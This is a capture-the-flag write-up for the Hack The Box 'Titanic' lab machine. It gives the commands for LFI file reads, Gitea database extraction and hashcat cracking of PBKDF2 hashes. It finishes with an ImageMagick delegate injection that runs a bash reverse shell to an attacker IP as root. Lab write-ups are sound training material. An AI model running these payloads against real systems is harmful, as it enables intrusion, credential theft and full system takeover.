Hack The Box / LINUX / 2025-02-22
Hack The Box — Titanic (Linux)
LFI in ticket download leaks Gitea data, password recovery gives SSH as developer, and ImageMagick delegate injection in a root-run script yields root shell.
Target
- IP:
10.129.231.221
Recon
sudo nmap -sC -sV 10.129.231.221 -p- -T5 -v
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
|_ 256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
80/tcp open http Apache httpd 2.4.52
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://titanic.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
3200/tcp filtered tick-port
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Add titanic.htb to /etc/hosts.
Go to http://titanic.htb/.
From headers we notice the web app is built with Python.
Click Book now.
Submit random data.
Intercept the request.
Send it to Repeater.
A POST request is made to /book.
Send it.
In the response we are redirected to:
/download?ticket=48cf73a3-6fa1-443c-ba32-ee402b218d6a.json
Send that request to Repeater again.
Follow redirection in one of the tabs.
In one tab we now have the /download request.
Change ticket parameter to:
ticket=/etc/passwd
Send the request.
We get /etc/passwd.
There is an LFI (Local File Inclusion).
We notice user developer.
ffuf -u 'http://titanic.htb/' -H 'Host: FUZZ.titanic.htb' -w /home/kali/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 50 -fw 20
dev [Status: 200, Size: 13982, Words: 1107, Lines: 276, Duration: 63ms]
Add dev.titanic.htb to /etc/hosts.
Go to http://dev.titanic.htb/.
It is Gitea version 1.22.1.
In Explore, there are two repositories: docker-config and flask-app.
Clone them.
git clone http://dev.titanic.htb/developer/docker-config.git
git clone http://dev.titanic.htb/developer/flask-app.git
In docker-config, in docker-compose.yml under mysql we get credentials:
MYSQL_ROOT_PASSWORD: 'MySQLP@$$w0rd!'
MYSQL_DATABASE: tickets
MYSQL_USER: sql_svc
MYSQL_PASSWORD: sql_password
In docker-compose.yml under gitea we notice the Gitea path:
volumes:
- /home/developer/gitea/data:/data # Replace with your path
To better understand which files to retrieve with LFI, we can run the Gitea docker-compose.
docker compose up
It creates /home/developer on our machine (you can remove it later).
cd /home/developer
tree
.
└── gitea
└── data
├── git
├── gitea
│ ├── conf
│ │ └── app.ini
│ └── log
└── ssh [error opening dir]
We see config file path:
/home/developer/gitea/data/gitea/conf/app.ini
Retrieve /home/developer/gitea/data/gitea/conf/app.ini using the LFI.
Inside we notice:
[database]
PATH = /data/gitea/gitea.db
DB_TYPE = sqlite3
HOST = localhost:3306
NAME = gitea
USER = root
PASSWD =
LOG_SQL = false
SCHEMA =
SSL_MODE = disable
Use LFI again to retrieve:
/home/developer/gitea/data/gitea/gitea.db
In Burp, right-click response --> Copy to file, save as gitea.db.
vim gitea.db
Remove initial unrelated bytes/lines.
sqlite3 gitea.db
.tables
select * from users
1|administrator|administrator||root@titanic.htb|0|enabled|cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136|pbkdf2$50000$50|0|0|0||0|||70a5bd0c1a5d23caa49030172cdcabdc|2d149e5fbd1b20cf31db3e3c6a28fc9b|en-US||1722595379|1722597477|1722597477|0|-1|1|1|0|0|0|1|0|2e1e70639ac6b0eecbdab4a3d19e0f44|root@titanic.htb|0|0|0|0|0|0|0|0|0||gitea-auto|0
2|developer|developer||developer@titanic.htb|0|enabled|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|pbkdf2$50000$50|0|0|0||0|||0ce6f07fc9b557bc070fa7bef76a0d15|8bf3e3452b78544f8bee9400d6936d34|en-US||1722595646|1722603397|1722603397|0|-1|1|0|0|0|0|1|0|e2d95b7e207e432f62f3508be406c11b|developer@titanic.htb|0|0|0|0|2|0|0|0|0||gitea-auto|0
perl -e 'print pack ("H*", "e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56")' | base64
5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=
python3
import base64
base64.b64encode(bytes.fromhex('8bf3e3452b78544f8bee9400d6936d34'))
i/PjRSt4VE+L7pQA1pNtNA==
Build final hash:
sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=
Put it in a file hash.
hashcat -a 0 -m 10900 ./hash ./rockyou.txt
We get:
sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=:25282528
ssh developer@titanic.htb
Enter password 25282528.
cat /opt/scripts/identify_images.sh
We get:
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
We can assume root executes this script.
Check ImageMagick version:
magick -version
Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5)
Delegates (built-in): bzlib djvu fontconfig freetype heic jbig jng jp2 jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (9.4)
There is a vulnerability:
https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-8rxc-922v-phg8
Create file /dev/shm/rev with content:
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.2/4444 0>&1
Make it executable:
chmod +x /dev/shm/rev
Now run:
cd /opt/app/static/assets/images
cat << EOF > ./delegates.xml
<delegatemap><delegate xmlns="" decode="XML" command="/dev/shm/rev"/></delegatemap>
EOF
Then run:
touch -- ' delegates.xml .jpg'
Wait.
We get a reverse shell as root.